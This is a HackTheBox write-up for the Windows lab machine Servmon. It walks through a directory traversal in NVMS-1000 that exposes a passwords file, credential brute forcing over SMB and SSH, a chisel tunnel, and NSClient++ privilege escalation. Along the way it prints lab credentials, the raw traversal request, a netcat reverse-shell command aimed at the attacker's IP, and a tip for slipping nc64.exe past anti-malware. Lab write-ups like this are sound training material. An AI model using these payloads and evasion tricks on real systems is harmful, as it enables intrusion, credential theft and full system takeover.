HackTheBox: Servmon

windows anonymous-ftp directory-traversal nscp

Traverse your way around to some poorly-managed creds, before exploiting a local network monitoring service.

// Lessons Learned

Even though the web has conditioned everyone to expect http -> https redirects to be in place, don’t assume they exist, and always try both http & https on webservers
If a binary like nc.exe is being blocked from running on a target, try a different architecture version e.g nc64.exe, which may still work but not be flagged as malicious
If an exploit doesn’t work as expected, don’t assume it’s impossible to use - there could be another way to achieve the intended outcome

// Recon

nmap -A -Pn servmon.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-09 12:01 AEST
Nmap scan report for servmon.htb (10.10.10.184)
Host is up (0.053s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  11:05AM       <DIR>          Users
| ftp-syst:
|_  SYST: Windows_NT
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp   open  http
| fingerprint-strings:
|   GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo:
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL:
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5666/tcp open  tcpwrapped
6699/tcp open  tcpwrapped
8443/tcp open  ssl/https-alt
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2020-01-14T13:24:20
|_Not valid after:  2021-01-13T13:24:20
| fingerprint-strings:
|   FourOhFourRequest, HTTPOptions, RTSPRequest, SIPOptions:
|     HTTP/1.1 404
|     Content-Length: 18
|     Document not found
|   GetRequest:
|     HTTP/1.1 302
|     Content-Length: 0
|     Location: /index.html
|     workers
|_    jobs
| http-title: NSClient++
|_Requested resource was /index.html
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1h01m26s
| smb2-time:
|   date: 2022-02-09T03:04:19
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.47 seconds

Nmap reveals quite a few services running on the target:

anonymous ftp access to a Users directory on port 21
open ssh on port 22
http on port 80
rpc, netbios & smb-related services on 135, 139 and 445

There’s a couple of unknown services running on 5666 and 6699 that are tcpwrapped, indicating that the port is open and a 3-way TCP handshake was complete, but the remote host closed the connection without receiving any data. Usually this indicates some sort of host-based firewall, meaning that our attack box’s address is not permitted to connect (but others might be). Finally, there is a ssl/https-alt service running on port 8443. The server returns Connection reset when requested via http, but returns this page when requested over https (which makes sense, given the port service description):

The page looks pretty broken, with a number of console errors in the Firefox developer bar. Swapping to another browser (Safari in this case) returned a better view of the page:

We don’t have any known credentials to try yet, but it probably wouldn’t help anyway. Testing out any value for username, e.g admin, or administrator, always returns the error 403 Your not allowed. The extended nmap output for this port includes the line:

ssl-cert: Subject: commonName=localhost

meaning that the web-server is likely only available via the localhost interface. While this is likely a page that will become useful at some point, it’s unlikely to be where we need to look for a way in.

// Initial Foothold

Anonymous FTP was big in the 90s and early internet, as a way to share all kinds of files amongst sub-communities (games & cracked software especially). It’s pretty rare to find it these days, replaced intially with services like MegaUpload, and now more commonly DropBox and S3 buckets. To connect to the server, we provide the username anonymous and literally anything (including nothing) as a password:

ftp anonymous@servmon.htb
Connected to servmon.htb.
220 Microsoft FTP Service
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: <type an email address, abcd123, hit enter, whatever you want!>
230 User logged in.

If we enter the Users directory we find a few folders and files:

Nadine/Confidential.txt
Nathan/Notes to do.txt

The Confidential.txt file reads:

Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

while Notes to do.txt reads:

1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

So the first file tells us there is a Passwords.txt file on Nathan’s desktop, which could be interesting. The second indicates that public access to NVMS may still be possible, and we should be on the lookout for “secret files”.

Turning our attenting to the web server, accessing the machine on port 80 returns an NVMS-1000 login page:

This is very likely to be the NVMS system mentioned in the file above. Searching for NVMS-1000 in Google confirms that this is the login page for a Network Video Monitoring System. The manual doesn’t offer anything in the way of default credentials, in fact it seems there is no login until one is created by the user via the desktop client. Searching for NVMS-1000 default login seems to confirm this, and testing some well-known defaults (admin/admin, admin/password etc.) gets us nowhere. Checking searchsploit (exploitDB) for any matches is more interesting:

searchsploit -w nvms
------------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                           |  URL
------------------------------------------------------------------------- --------------------------------------------
NVMS 1000 - Directory Traversal                                          | https://www.exploit-db.com/exploits/47774
...
TVT NVMS 1000 - Directory Traversal                                      | https://www.exploit-db.com/exploits/48311
------------------------------------------------------------------------- --------------------------------------------

Both of these exploits essentially give us the same thing - a basic directory traversal due to inadequate user input sanitation. The first outlines the structure of the request required, while the second offers a convenient python script that we can pass filenames to as commandline arguments, to check availability.. or at least it should! It turns out there is some kind of bug in the script (which is written in python2 and quite old) that does not properly pass along the traversal sequence ../../../../../../../../../../../../../ in the request, meaning every request comes back 404. It’s easy enough to generate our own requests manually, so let’s do that via burp:

Using this exploit we can now easily browse the machine’s filesystem, and check out some relevant files for more useful info:

windows/System32/Drivers/etc/hosts (any other names this machine is known by, or other local machines we might be able to move to)
windows/debug/netsetup.log (a log of domain join operations)

After some browsing there doesn’t seem to be anything useful in the default/system files available. This article indicates that it might be possible to run commands through cmd.exe and list directory contents, which would be very useful. Unfortunately every request that I tried to do so returned a highly-garbled respond that included the error This program cannot be run in DOS mode., so that’s unlikely to work. Luckily from our earlier ftp retrievals, we know there should be a passwords file waiting for us in Nathan’s desktop folder:

GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: servmon.htb
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo: 

1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$

Testing all of these passwords against the NVMS login with likely usernames (admin, administrator, nathan, nadine) doesn’t yield any results. We know from the nmap scan that there are likely services available via SMB, so all of these passwords need to be enumerated against that service too. crackmapexec can be used here to brute force all user / password combinations. Eventually we strike the right combo:

smbclient -L \\10.10.10.184 -U nadine
Enter WORKGROUP\nadine's password: L1k3B1gBut7s@W0rk

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.184 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup availabl

Confusingly, trying to connect to both ADMIN$ and C$ shares using smbclient (e.g smbclient \\\\10.10.10.184\\ADMIN$ -U nadine) always returns tree connect failed: NT_STATUS_ACCESS_DENIED. Swapping to the smbmap tool explains why:

smbmap -H 10.10.10.184 -u nadine -p L1k3B1gBut7s@W0rk
[+] IP: 10.10.10.184:445        Name: 10.10.10.184                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    READ ONLY       Remote IPC

While ADMIN$ and C$ do exist as shares, the nadine account has NO ACCESS. Using smbmap for share enumeration seems to offer a bit more clarity than smbclient.

While we are able to connect to the IPC$ (inter-process communication) share, it doesn’t provide any meaningful access. Similarly we can connect with the same credentials using rpcclient and get a few more bits of info, but nothing substantive (especially since the machine does not seem to be connected to a domain). Zooming back to the nmap again, we still have to check for credential reuse on the ssh service, and since we already know a valid user/password combo, this task is much faster:

ssh nadine@servmon.htb
nadine@servmon.htb's password: L1k3B1gBut7s@W0rk
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>

From here, we can grab the user key in the usual location:

nadine@SERVMON C:\Users\Nadine>dir Desktop
 Volume in drive C has no label.
 Volume Serial Number is DC93-6115

 Directory of C:\Users\Nadine\Desktop

08/04/2020  21:28    <DIR>          .
08/04/2020  21:28    <DIR>          ..
09/02/2022  01:24                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,106,611,712 bytes free

nadine@SERVMON C:\Users\Nadine>type Desktop\user.txt
e6******************************

nadine@SERVMON C:\Users\Nadine>

// Privilege Escalation

Curl is available on the machine, so our first step is to upload winPEAS and check for obvious paths to escalation. Strangely the executable winPEAS.exe is not able to run on this machine, returning the error The system cannot execute the specified program.. This could be due to some kind of security restriction, or possibly the machine doesn’t have the necessary libraries / dependencies, such as the minimum .NET version. We are however able to run the batch file verison, winPEAS.bat. Unfortunately a lot of the features aren’t available due to our account’s level of access, and nothing very helpful is revealed.

Browsing around the system via our shell, we eventually discover a folder C:\Program Files\NSClient++. Since NSClient was mentioned in one of the files retrieved via anonymous FTP (“2) Lock down the NSClient Access - Complete”) this could be worth looking closer at. Searchsploit returns two interesting results:

------------------------------------------------------------------- --------------------------------------------
 Exploit Title                                                     |  URL
------------------------------------------------------------------- --------------------------------------------
NSClient++ 0.5.2.35 - Authenticated Remote Code Execution          | https://www.exploit-db.com/exploits/48360
NSClient++ 0.5.2.35 - Privilege Escalation                         | https://www.exploit-db.com/exploits/46802
------------------------------------------------------------------- --------------------------------------------

We already have the ability to execute code, so the second exploit, Privilege Escalation, is likely to be more useful. Reading the exploit’s explanation, it seems that the security model for NSClient has some issues, and we should be able to execute code as the system user if we:

access the NSClient admin password which is stored in plain text in nsclient.ini
create a malicious script on the server to execute, in this case as a .bat (batch) file, and store it somewhere writeable by our user e.g. C:\Temp
add an external script to NSClient, which defines an aliase to our malicious file (the software expects scripts to all exist in an internal folder that is only writeable by system, but performs no validation of this, meaning our payload can happily exist elsewhere)
set a scheduled exexcution of our external script, which will execute the payload as the system user

The NSClient web UI runs on 8443, which we already know about, but the nsclient.ini file explains why we couldn’t access it:

; Undocumented key
allowed hosts = 127.0.0.1

To access the UI, we need to fool the server into thinking we are accesing it from the same machine. This can be achieved via ssh tunnelling, or in this case using the http proxy chisel:

// on our attack box:
chisel server --reverse --port 9002
2022/02/14 08:17:05 server: Reverse tunnelling enabled
2022/02/14 08:17:05 server: Fingerprint OWSE3J5+T5aeaESYqbvVihHUo/S5Y6Cc2oIVVSACEW0=
2022/02/14 08:17:05 server: Listening on http://0.0.0.0:9002

and after uploading chisel.exe to C:\Temp on the target:

nadine@SERVMON C:\Temp>.\chisel.exe client 10.10.17.230:9002 R:8443:localhost:8443
2022/02/14 01:51:22 client: Connecting to ws://10.10.17.230:9002
2022/02/14 01:51:22 client: Connected (Latency 49.7903ms)

We can now browse to https://localhost:8443 on our machine and access the UI:

and login with the password retrieved from nsclient.ini:

; Undocumented key
password = ew2x6SsGTxjRwXOT

From here, the path to privilege escalation gets.. a little shaky. The UI can be quite unstable and even fail to work at all in certain browsers, such as Firefox and Chromium (eventually I had more success with Safari, but even that wasn’t perfect). The explanation in the exploit too don’t seem entirely accurate - adding the external script and then defining a schedule would sometimes hang the box, and sometimes not (but still the script wouldn’t execute). I also found the NSClient documentation not very easy to follow. Eventually after a lot of attempts, I was able to establish a session as the system user by doing the following:

adding a C:\Temp\shell.bat file that contained:

C:\Temp\nc64.exe 10.10.17.230 443 -e cmd.exe

uploading nc64.exe to C:\Temp (note - initially I tried the regular 32-bit version, nc.exe. However the system consistently refused to run this binary (even manually) with a generic error “The system cannot execute the specified program”, and the file would be soon automatically deleted. This second behaviour made me think it was being blocked by an anti-malware service, which for some reason failed to filter the nc64.exe file in the same way).
defining a new external script in NSClient web UI as shown (note this is different to the process explained in the exploit):
Running a netcat listener on our attack box e.g. nc -lvnp 443
Trying to define a scheduled execution as explained in the exploit was the most problematic step. Instead, it’s much easier to trigger a manual execution (and still have it execute as system) under the confusingly-named Queries tab:

At this point, we catch a system shell and the root-level key is available in the usual location:

nc -lvnp 443
Connection from 10.10.10.184:54027
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

C:\Program Files\NSClient++>dir C:\Users\Administrator\Desktop
dir C:\Users\Administrator\Desktop
 Volume in drive C has no label.
 Volume Serial Number is DC93-6115

 Directory of C:\Users\Administrator\Desktop

08/04/2020  22:12    <DIR>          .
08/04/2020  22:12    <DIR>          ..
13/02/2022  23:16                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   6,114,410,496 bytes free

C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
7b******************************

CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Servmon

// Lessons Learned

// Recon

// Initial Foothold

// Privilege Escalation